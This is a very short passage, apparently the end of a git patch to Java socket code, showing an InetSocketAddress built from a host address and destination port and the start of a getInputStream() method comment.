InetSocketAddress(strHostAddress, iDstPort)); + } /** * getInputStream() method -- 2.34.1